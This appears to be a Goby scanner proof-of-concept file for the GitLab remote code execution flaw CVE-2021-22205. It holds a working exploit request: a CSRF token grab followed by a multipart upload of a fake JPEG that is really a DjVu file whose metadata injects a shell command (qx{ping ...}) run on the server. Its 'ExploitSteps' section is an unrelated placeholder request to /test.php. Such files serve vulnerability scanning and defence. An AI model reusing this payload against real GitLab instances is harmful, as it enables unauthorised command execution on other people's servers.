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Gitlab_RCE_CVE_2021_22205.json
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Gitlab_RCE_CVE_2021_22205.json
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{
"Name": "Gitlab RCE CVE-2021-22205",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "(app=gitlab | title=\"gitlab\")",
"Description": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution",
"Product": "gitlab",
"Homepage": "https://about.gitlab.com/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2021-22205"
],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/users/sign_in",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$head",
"operation": "contains",
"value": "experimentation_subject_id",
"bz": ""
}
]
},
"SetVariable": [
"X-CSRF-Token|lastbody|regex|name=\\\"csrf-token\\\" content=\\\"([\\s\\S]+?)\\\" />",
"output|lastbody|text|"
]
},
{
"Request": {
"method": "POST",
"uri": "/uploads/user",
"follow_redirect": false,
"header": {
"X-CSRF-Token": "{{{X-CSRF-Token}}}",
"Content-Type": "multipart/form-data; boundary=---------------------------99652559321225150602861519786",
"X-Requested-With": "XMLHttpRequest"
},
"data_type": "text",
"data": "-----------------------------99652559321225150602861519786\nContent-Disposition: form-data; name=\"file\"; filename=\"demo.jpg\"\nContent-Type: image/jpeg\n\nAT&TFORM\u0000\u0000\u0000tDJVUINFO\u0000\u0000\u0000\n\u0000\u0000\u0000\u0000\u0018\u0000,\u0001\u0016\u0001BGjp\u0000\u0000\u0000\u0000ANTa\u0000\u0000\u0000N(metadata\n\t(Copyright \"\\\n\" . qx{ping -c1 {{{check}}} } . \\\n\" b \") )\n\n-----------------------------99652559321225150602861519786--\n",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "422",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "Failed to process image",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody||"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "2021-11-04 16:35:47",
"GobyVersion": "1.8.302"
}